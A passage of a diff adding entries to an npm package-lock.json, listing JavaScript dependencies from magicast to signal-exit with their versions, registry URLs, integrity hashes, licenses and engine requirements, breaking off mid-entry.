"node_modules/magicast": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/magicast/-/magicast-0.5.3.tgz", + "integrity": "sha512-pVKE4UdSQ7DvHzivsCIFx2BJn1mHG6KsyrFcaxFx6tONdneEuThrDx0Cj3AMg58KyN4pzYT+LHOotxDQDjNvkw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.29.3", + "@babel/types": "^7.29.0", + "source-map-js": "^1.2.1" + } + }, + "node_modules/make-dir": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", + "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^7.5.3" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mdn-data": { + "version": "2.27.1", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.27.1.tgz", + "integrity": "sha512-9Yubnt3e8A0OKwxYSXyhLymGW4sCufcLG6VdiDdUGVkPhpqLxlvP5vl1983gQjJl3tqbrM731mjaZaP68AgosQ==", + "dev": true, + "license": "CC0-1.0" + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/micromatch/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/mimic-function": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/mimic-function/-/mimic-function-5.0.1.tgz", + "integrity": "sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/min-indent": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", + "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/minimatch": { + "version": "10.2.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz", + "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "brace-expansion": "^5.0.5" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/nanoid": { + "version": "3.3.16", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.16.tgz", + "integrity": "sha512-bzlKTyNJ7+LdGIIwy8ijFpIqEQIvafahV7eYykJ8Cvh42EdJeODoJ6gUJXpQJvej1BddH8OqTXZNE/KfbWAu8Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true, + "license": "MIT" + }, + "node_modules/node-releases": { + "version": "2.0.51", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.51.tgz", + "integrity": "sha512-wRNIrw4DmVLKQlbgOMdkMx27Wrpzes2hh5Jtbi2bjPd+4wJstWIqP5A+lscnqbm0xxmT5Bpg8Lec5ItEBwx6BQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/obug": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.3.tgz", + "integrity": "sha512-9miFgM2OFba7hB+pRgvtV84pYTBaoTHohvmIgiRt6dRIzbwEOIaNaP+dIlGs2fNFoB0SeISs0Jz5WFVRid6Xyg==", + "dev": true, + "funding": [ + "https://github.com/sponsors/sxzz", + "https://opencollective.com/debug" + ], + "license": "MIT", + "engines": { + "node": ">=12.20.0" + } + }, + "node_modules/onetime": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-7.0.0.tgz", + "integrity": "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "mimic-function": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/optionator": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.9.4.tgz", + "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "license": "MIT", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse5": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-8.0.1.tgz", + "integrity": "sha512-z1e/HMG90obSGeidlli3hj7cbocou0/wa5HacvI3ASx34PecNjNQeaHNo5WIZpWofN9kgkqV1q5YvXe3F0FoPw==", + "dev": true, + "license": "MIT", + "dependencies": { + "entities": "^8.0.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "license": "MIT" + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/pathe": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", + "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", + "dev": true, + "license": "MIT" + }, + "node_modules/picocolors": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.5.tgz", + "integrity": "sha512-RvwwcruNjI1ncT5xRakeyS9Lf8lcItv34KD+aif+VH9kduAyfYBipGh12274xtenIPZ119/R9BdTBa8gAwSh0A==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/playwright": { + "version": "1.61.1", + "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.61.1.tgz", + "integrity": "sha512-DWnY5o3YbLWK4GovuAVwpqL+1VwGNdUGrRr++8j8PtQQzvAVZUIMjKQ90fY689sEJZJBbZVw1rXaOKSTitkzPQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "playwright-core": "1.61.1" + }, + "bin": { + "playwright": "cli.js" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "fsevents": "2.3.2" + } + }, + "node_modules/playwright-core": { + "version": "1.61.1", + "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.61.1.tgz", + "integrity": "sha512-h7Qlt6m4REp25qvIdvbDtVmD4LqVXfpRxhORv9L0jzETM05p4fuPJ3dKyuSXQxDSbXnmS79HAgi9589lGSpLkg==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "playwright-core": "cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/postcss": { + "version": "8.5.18", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.18.tgz", + "integrity": "sha512-xdB1oSLHbz1vRWgCDalrCqEFTWzFlhqFC5tIHLMOSUIjhm3XXQ1qrFy8S/ESr1JYRRXqM3c1QFiMZUJdUTqyMQ==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.12", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/preact": { + "version": "10.12.1", + "resolved": "https://registry.npmjs.org/preact/-/preact-10.12.1.tgz", + "integrity": "sha512-l8386ixSsBdbreOAkqtrwqHwdvR35ID8c3rKPa8lCWuO86dBi32QWHV4vfsZK1utLLFMvw+Z5Ad4XLkZzchscg==", + "license": "MIT", + "peer": true, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/preact" + } + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/prettier": { + "version": "3.9.5", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.9.5.tgz", + "integrity": "sha512-/FVl766LpUfB5vXgCYOYa0MeV/441Ia99AeICQIQFTY/Nw0roZwULcXpku5i1/m5kt/baz+s4Zogspd839HSMg==", + "dev": true, + "license": "MIT", + "bin": { + "prettier": "bin/prettier.cjs" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/prettier/prettier?sponsor=1" + } + }, + "node_modules/pretty-format": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz", + "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^17.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/pretty-format/node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", + "license": "MIT" + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/prop-types/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==", + "license": "MIT" + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/react": { + "version": "19.2.7", + "resolved": "https://registry.npmjs.org/react/-/react-19.2.7.tgz", + "integrity": "sha512-HNe9WslTbXmFK8o8cmwgAeJFSBvt1bPdHCVKtaaV+WlAN36mpT4hcRpwbf3fY56ar2oIXzsBpOAiIRHAdY0OlQ==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-dom": { + "version": "19.2.7", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-19.2.7.tgz", + "integrity": "sha512-t0BRVXvbiE/o20Hfw669rLbMCDWtYZLvmJigy2f0MxsXF+71pxhR3xOkspmsO8h3ZlNzyibAmtCa3l4lYKk6gQ==", + "license": "MIT", + "dependencies": { + "scheduler": "^0.27.0" + }, + "peerDependencies": { + "react": "^19.2.7" + } + }, + "node_modules/react-hook-form": { + "version": "7.81.0", + "resolved": "https://registry.npmjs.org/react-hook-form/-/react-hook-form-7.81.0.tgz", + "integrity": "sha512-ocbmr2p5KBMoAfj4WCUvped33lVi1Kd5DuDUvQDnB6VEAacOjPI/jMbtDdbhco4y9ct4xUuCmMY0b/C9L0QHjw==", + "license": "MIT", + "engines": { + "node": ">=18.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/react-hook-form" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17 || ^18 || ^19" + } + }, + "node_modules/react-icons": { + "version": "5.7.0", + "resolved": "https://registry.npmjs.org/react-icons/-/react-icons-5.7.0.tgz", + "integrity": "sha512-LBLy340Rzqy6+/yVhZKT3B/QpP1BZaesGqasf09HPOBzRarcDIFH0WwXlXQfE7q7ipxK4MSiC5DIBWURCny6fw==", + "license": "MIT", + "peerDependencies": { + "react": "*" + } + }, + "node_modules/react-is": { + "version": "19.2.7", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-19.2.7.tgz", + "integrity": "sha512-kZFnouyVv7eP/Phmrlo9FK+zcAdriZJvzxXHF1Sl1P377WSGe2G/JxVolhTrB/jeV47lKImhNUsijjHAAbcl/A==", + "license": "MIT" + }, + "node_modules/react-router": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-8.3.0.tgz", + "integrity": "sha512-qyPMvW83jGIct3yiieisxdk9M745anqhpIMKN5m1t6yBMfgVPpt77aHOqs5fUlEJRMCGffg9BaQLH9oPVOL7xQ==", + "license": "MIT", + "dependencies": { + "cookie-es": "^3.1.1" + }, + "engines": { + "node": ">=22.22.0" + }, + "peerDependencies": { + "react": ">=19.2.7", + "react-dom": ">=19.2.7" + }, + "peerDependenciesMeta": { + "react-dom": { + "optional": true + } + } + }, + "node_modules/react-toastify": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/react-toastify/-/react-toastify-11.1.0.tgz", + "integrity": "sha512-e9h23x3phN0wbFeB6yovmWp7lobzV4CaCH0LO8nVP6H7Y+3GbcLpIzMm9dJhcp1RXbpyfvjgpfXqO80QAmn7sg==", + "license": "MIT", + "dependencies": { + "clsx": "^2.1.1" + }, + "peerDependencies": { + "react": "^18 || ^19", + "react-dom": "^18 || ^19" + } + }, + "node_modules/react-transition-group": { + "version": "4.4.5", + "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-4.4.5.tgz", + "integrity": "sha512-pZcd1MCJoiKiBR2NRxeCRg13uCXbydPnmB4EOeRrY7480qNWO8IIgQG6zlDkm6uRMsURXPuKq0GWtiM59a5Q6g==", + "license": "BSD-3-Clause", + "dependencies": { + "@babel/runtime": "^7.5.5", + "dom-helpers": "^5.0.1", + "loose-envify": "^1.4.0", + "prop-types": "^15.6.2" + }, + "peerDependencies": { + "react": ">=16.6.0", + "react-dom": ">=16.6.0" + } + }, + "node_modules/redent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", + "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", + "license": "MIT", + "dependencies": { + "indent-string": "^4.0.0", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/resolve": { + "version": "1.22.12", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.12.tgz", + "integrity": "sha512-TyeJ1zif53BPfHootBGwPRYT1RUt6oGWsaQr8UyZW/eAm9bKoijtvruSDEmZHm92CwS9nj7/fWttqPCgzep8CA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "is-core-module": "^2.16.1", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/restore-cursor": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-5.1.0.tgz", + "integrity": "sha512-oMA2dcrw6u0YfxJQXm342bFKX/E4sG9rbTzO9ptUcR/e8A33cHuvStiYOwH7fszkZlZ1z/ta9AAoPk2F4qIOHA==", + "dev": true, + "license": "MIT", + "dependencies": { + "onetime": "^7.0.0", + "signal-exit": "^4.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/reusify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rfdc": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.4.1.tgz", + "integrity": "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==", + "dev": true, + "license": "MIT" + }, + "node_modules/rolldown": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.1.5.tgz", + "integrity": "sha512-t9z29cJjXf/vxQ8dyhCSpt6H6aSwHTk8cT5I3iy6SMXuFpk5mB6PL6XfC8PCwrPTx93udwKUm9HRteAlTGBLiA==", + "license": "MIT", + "dependencies": { + "@oxc-project/types": "=0.139.0", + "@rolldown/pluginutils": "^1.0.0" + }, + "bin": { + "rolldown": "bin/cli.mjs" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "optionalDependencies": { + "@rolldown/binding-android-arm64": "1.1.5", + "@rolldown/binding-darwin-arm64": "1.1.5", + "@rolldown/binding-darwin-x64": "1.1.5", + "@rolldown/binding-freebsd-x64": "1.1.5", + "@rolldown/binding-linux-arm-gnueabihf": "1.1.5", + "@rolldown/binding-linux-arm64-gnu": "1.1.5", + "@rolldown/binding-linux-arm64-musl": "1.1.5", + "@rolldown/binding-linux-ppc64-gnu": "1.1.5", + "@rolldown/binding-linux-s390x-gnu": "1.1.5", + "@rolldown/binding-linux-x64-gnu": "1.1.5", + "@rolldown/binding-linux-x64-musl": "1.1.5", + "@rolldown/binding-openharmony-arm64": "1.1.5", + "@rolldown/binding-wasm32-wasi": "1.1.5", + "@rolldown/binding-win32-arm64-msvc": "1.1.5", + "@rolldown/binding-win32-x64-msvc": "1.1.5" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/saxes": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", + "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==", + "dev": true, + "license": "ISC", + "dependencies": { + "xmlchars": "^2.2.0" + }, + "engines": { + "node": ">=v12.22.7" + } + }, + "node_modules/scheduler": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", + "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", + "license": "MIT" + }, + "node_modules/semver": { + "version": "7.8.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", + "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/siginfo": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", + "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", + "dev": true, + "license": "ISC" + }, + "node_modules/signal-exit": { + "version": "4.1.0", + "resolved": 